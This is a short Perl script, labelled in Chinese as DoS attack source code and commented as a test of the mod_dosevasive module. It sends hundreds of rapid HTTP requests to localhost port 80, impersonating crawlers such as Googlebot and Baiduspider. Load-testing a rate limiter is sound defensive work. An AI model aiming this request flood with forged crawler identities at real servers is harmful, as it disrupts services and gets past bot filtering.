testspider.pl

实现DOS攻击的源码

#!/usr/bin/perl
 
# test.pl: small script to test mod_dosevasive's effectiveness
 
use IO::Socket;
use strict;
 
for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: baidu news spider\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: iaskspider\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: sohu agent\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: SpiderMan\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: Baiduspider\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: sohu-search\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: msnbot\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: Googlebot\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: YahooBot\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: microsoft_site_analyst\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: www-collector\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: webtrends link analyzer\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}

for(0..50) {
  my($response);
  my($SOCKET) = new IO::Socket::INET( Proto   => "tcp",
                                      PeerAddr=> "127.0.0.1:80");
  if (! defined $SOCKET) { die $!; }
  print $SOCKET "GET /?$_ HTTP/1.0\n";
  print $SOCKET "User-Agent: microsoft_site_analyst\n\n";
  $response = <$SOCKET>;
  print $response;
  close($SOCKET);
}